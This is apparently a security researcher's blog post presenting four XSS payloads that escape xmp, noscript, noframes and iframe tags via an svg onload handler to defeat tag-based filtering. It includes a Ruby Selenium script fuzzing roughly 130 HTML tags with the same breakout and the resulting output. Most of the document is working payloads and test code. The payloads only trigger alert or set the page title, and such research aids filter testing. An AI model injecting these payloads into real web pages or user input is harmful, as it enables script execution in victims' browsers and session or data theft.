Four XSS Payloads - Bypass the tag base protection

Hey, guys.

I wrote about xmp xss last April. At that time, there was a story about writing in English and finish test all vector , so I wrote a story about the attack vector.

https://www.hahwul.com/2019/04/bypass-xss-protection-with-xmp-noscript-etc....html

From the bottom line, XSS only had four tags: xmp, noscript, iframe, norame.
The result was like this. I’ll share the test code and Payload.


XSS Vector (final)

with xmp tag
<xmp><p title="</xmp><svg/onload=alert(45)>">

with noscript tag
<noscript><p title="</noscript><svg/onload=alert(45)>">

with noframes tag
<noframes><p title="</noframes><svg/onload=alert(45)>">

with iframe tag
<iframe><p title="</iframe><svg/onload=alert(45)>">

Tested all Vector

test.rb
require 'selenium-webdriver'

arr = [
'<area><p title="</area><svg/onload=document.title=(`area`)>">',
'<article><p title="</article><svg/onload=document.title=(`article`)>">',
'<aside><p title="</aside><svg/onload=document.title=(`aside`)>">',
'<audio><p title="</audio><svg/onload=document.title=(`audio`)>">',
'<b><p title="</b><svg/onload=document.title=(`b`)>">',
'<base><p title="</base><svg/onload=document.title=(`base`)>">',
'<basefont><p title="</basefont><svg/onload=document.title=(`basefont`)>">',
'<bdi><p title="</bdi><svg/onload=document.title=(`bdi`)>">',
'<bdo><p title="</bdo><svg/onload=document.title=(`bdo`)>">',
'<bgsound><p title="</bgsound><svg/onload=document.title=(`bgsound`)>">',
'<big><p title="</big><svg/onload=document.title=(`big`)>">',
'<blink><p title="</blink><svg/onload=document.title=(`blink`)>">',
'<blockquote><p title="</blockquote><svg/onload=document.title=(`blockquote`)>">',
'<body><p title="</body><svg/onload=document.title=(`body`)>">',
'<p title="</br><svg/onload=document.title=(`br`)>">',
'<button><p title="</button><svg/onload=document.title=(`button`)>">',
'<canvas><p title="</canvas><svg/onload=document.title=(`canvas`)>">',
'<caption><p title="</caption><svg/onload=document.title=(`caption`)>">',
'<center><p title="</center><svg/onload=document.title=(`center`)>">',
'<cite><p title="</cite><svg/onload=document.title=(`cite`)>">',
'<code><p title="</code><svg/onload=document.title=(`code`)>">',
'<col><p title="</col><svg/onload=document.title=(`col`)>">',
'<colgroup><p title="</colgroup><svg/onload=document.title=(`colgroup`)>">',
'<content><p title="</content><svg/onload=document.title=(`content`)>">',
'<data><p title="</data><svg/onload=document.title=(`data`)>">',
'<datalist><p title="</datalist><svg/onload=document.title=(`datalist`)>">',
'<dd><p title="</dd><svg/onload=document.title=(`dd`)>">',
'<del><p title="</del><svg/onload=document.title=(`del`)>">',
'<details><p title="</details><svg/onload=document.title=(`details`)>">',
'<dfn><p title="</dfn><svg/onload=document.title=(`dfn`)>">',
'<dialog><p title="</dialog><svg/onload=document.title=(`dialog`)>">',
'<dir><p title="</dir><svg/onload=document.title=(`dir`)>">',
'<div><p title="</div><svg/onload=document.title=(`div`)>">',
'<dl><p title="</dl><svg/onload=document.title=(`dl`)>">',
'<dt><p title="</dt><svg/onload=document.title=(`dt`)>">',
'<em><p title="</em><svg/onload=document.title=(`em`)>">',
'<embed><p title="</embed><svg/onload=document.title=(`embed`)>">',
'<fieldset><p title="</fieldset><svg/onload=document.title=(`fieldset`)>">',
'<figcaption><p title="</figcaption><svg/onload=document.title=(`figcaption`)>">',
'<figure><p title="</figure><svg/onload=document.title=(`figure`)>">',
'<font><p title="</font><svg/onload=document.title=(`font`)>">',
'<footer><p title="</footer><svg/onload=document.title=(`footer`)>">',
'<form><p title="</form><svg/onload=document.title=(`form`)>">',
'<frame><p title="</frame><svg/onload=document.title=(`frame`)>">',
'<frameset><p title="</frameset><svg/onload=document.title=(`frameset`)>">',
'<h1><p title="</h1><svg/onload=document.title=(`h1`)>">',
'<h2><p title="</h2><svg/onload=document.title=(`h2`)>">',
'<h3><p title="</h3><svg/onload=document.title=(`h3`)>">',
'<h4><p title="</h4><svg/onload=document.title=(`h4`)>">',
'<h5><p title="</h5><svg/onload=document.title=(`h5`)>">',
'<h6><p title="</h6><svg/onload=document.title=(`h6`)>">',
'<head><p title="</head><svg/onload=document.title=(`head`)>">',
'<header><p title="</header><svg/onload=document.title=(`header`)>">',
'<hgroup><p title="</hgroup><svg/onload=document.title=(`hgroup`)>">',
'<hr><p title="</hr><svg/onload=document.title=(`hr`)>">',
'<html><p title="</html><svg/onload=document.title=(`html`)>">',
'<i><p title="</i><svg/onload=document.title=(`i`)>">',
'<iframe><p title="</iframe><svg/onload=document.title=(`iframe`)>">',
'<img><p title="</img><svg/onload=document.title=(`img`)>">',
'<input><p title="</input><svg/onload=document.title=(`input`)>">',
'<ins><p title="</ins><svg/onload=document.title=(`ins`)>">',
'<isindex><p title="</isindex><svg/onload=document.title=(`isindex`)>">',
'<kbd><p title="</kbd><svg/onload=document.title=(`kbd`)>">',
'<keygen><p title="</keygen><svg/onload=document.title=(`keygen`)>">',
'<label><p title="</label><svg/onload=document.title=(`label`)>">',
'<legend><p title="</legend><svg/onload=document.title=(`legend`)>">',
'<li><p title="</li><svg/onload=document.title=(`li`)>">',
'<link><p title="</link><svg/onload=document.title=(`link`)>">',
'<listing><p title="</listing><svg/onload=document.title=(`listing`)>">',
'<main><p title="</main><svg/onload=document.title=(`main`)>">',
'<map><p title="</map><svg/onload=document.title=(`map`)>">',
'<mark><p title="</mark><svg/onload=document.title=(`mark`)>">',
'<marquee><p title="</marquee><svg/onload=document.title=(`marquee`)>">',
'<menu><p title="</menu><svg/onload=document.title=(`menu`)>">',
'<menuitem><p title="</menuitem><svg/onload=document.title=(`menuitem`)>">',
'<meta><p title="</meta><svg/onload=document.title=(`meta`)>">',
'<meter><p title="</meter><svg/onload=document.title=(`meter`)>">',
'<nav><p title="</nav><svg/onload=document.title=(`nav`)>">',
'<nobr><p title="</nobr><svg/onload=document.title=(`nobr`)>">',
'<noframes><p title="</noframes><svg/onload=document.title=(`noframes`)>">',
'<noscript><p title="</noscript><svg/onload=document.title=(`noscript`)>">',
'<object><p title="</object><svg/onload=document.title=(`object`)>">',
'<ol><p title="</ol><svg/onload=document.title=(`ol`)>">',
'<optgroup><p title="</optgroup><svg/onload=document.title=(`optgroup`)>">',
'<option><p title="</option><svg/onload=document.title=(`option`)>">',
'<output><p title="</output><svg/onload=document.title=(`output`)>">',
'<p><p title="</p><svg/onload=document.title=(`p`)>">',
'<param><p title="</param><svg/onload=document.title=(`param`)>">',
'<picture><p title="</picture><svg/onload=document.title=(`picture`)>">',
'<plaintext><p title="</plaintext><svg/onload=document.title=(`plaintext`)>">',
'<pre><p title="</pre><svg/onload=document.title=(`pre`)>">',
'<progress><p title="</progress><svg/onload=document.title=(`progress`)>">',
'<q><p title="</q><svg/onload=document.title=(`q`)>">',
'<rp><p title="</rp><svg/onload=document.title=(`rp`)>">',
'<rt><p title="</rt><svg/onload=document.title=(`rt`)>">',
'<rtc><p title="</rtc><svg/onload=document.title=(`rtc`)>">',
'<ruby><p title="</ruby><svg/onload=document.title=(`ruby`)>">',
'<s><p title="</s><svg/onload=document.title=(`s`)>">',
'<samp><p title="</samp><svg/onload=document.title=(`samp`)>">',
'<section><p title="</section><svg/onload=document.title=(`section`)>">',
'<select><p title="</select><svg/onload=document.title=(`select`)>">',
'<shadow><p title="</shadow><svg/onload=document.title=(`shadow`)>">',
'<slot><p title="</slot><svg/onload=document.title=(`slot`)>">',
'<small><p title="</small><svg/onload=document.title=(`small`)>">',
'<source><p title="</source><svg/onload=document.title=(`source`)>">',
'<spacer><p title="</spacer><svg/onload=document.title=(`spacer`)>">',
'<span><p title="</span><svg/onload=document.title=(`span`)>">',
'<strike><p title="</strike><svg/onload=document.title=(`strike`)>">',
'<strong><p title="</strong><svg/onload=document.title=(`strong`)>">',
'<style><p title="</style><svg/onload=document.title=(`style`)>">',
'<sub><p title="</sub><svg/onload=document.title=(`sub`)>">',
'<summary><p title="</summary><svg/onload=document.title=(`summary`)>">',
'<sup><p title="</sup><svg/onload=document.title=(`sup`)>">',
'<table><p title="</table><svg/onload=document.title=(`table`)>">',
'<tbody><p title="</tbody><svg/onload=document.title=(`tbody`)>">',
'<td><p title="</td><svg/onload=document.title=(`td`)>">',
'<template><p title="</template><svg/onload=document.title=(`template`)>">',
'<textarea><p title="</textarea><svg/onload=document.title=(`textarea`)>">',
'<tfoot><p title="</tfoot><svg/onload=document.title=(`tfoot`)>">',
'<th><p title="</th><svg/onload=document.title=(`th`)>">',
'<thead><p title="</thead><svg/onload=document.title=(`thead`)>">',
'<time><p title="</time><svg/onload=document.title=(`time`)>">',
'<title><p title="</title><svg/onload=document.title=(`title`)>">',
'<tr><p title="</tr><svg/onload=document.title=(`tr`)>">',
'<track><p title="</track><svg/onload=document.title=(`track`)>">',
'<tt><p title="</tt><svg/onload=document.title=(`tt`)>">',
'<u><p title="</u><svg/onload=document.title=(`u`)>">',
'<ul><p title="</ul><svg/onload=document.title=(`ul`)>">',
'<var><p title="</var><svg/onload=document.title=(`var`)>">',
'<video><p title="</video><svg/onload=document.title=(`video`)>">',
'<wbr><p title="</wbr><svg/onload=document.title=(`wbr`)>">',
'<xmp><p title="</xmp><svg/onload=document.title=(`xmp`)>">'
]

options = Selenium::WebDriver::Firefox::Options.new
options.add_argument('--headless')
driver = Selenium::WebDriver.for :firefox, options: options

#driver.navigate.to "https://www.hahwul.com"
#p driver.title

arr.each do |node|
# driver.navigate.to "data://<script></script>"
f = open('./payload.html','r+')
f.write "<html>#{node}</html>"
driver.navigate.to "file:///#{`pwd`}/payload.html"
#p "Tested :: "+node
if driver.title.to_s.length > 4
#p "Found! "+node
p driver.title
end
end

Output
$ ruby test.rb
"iframe"
"noframes"
"noscript"
"xmp"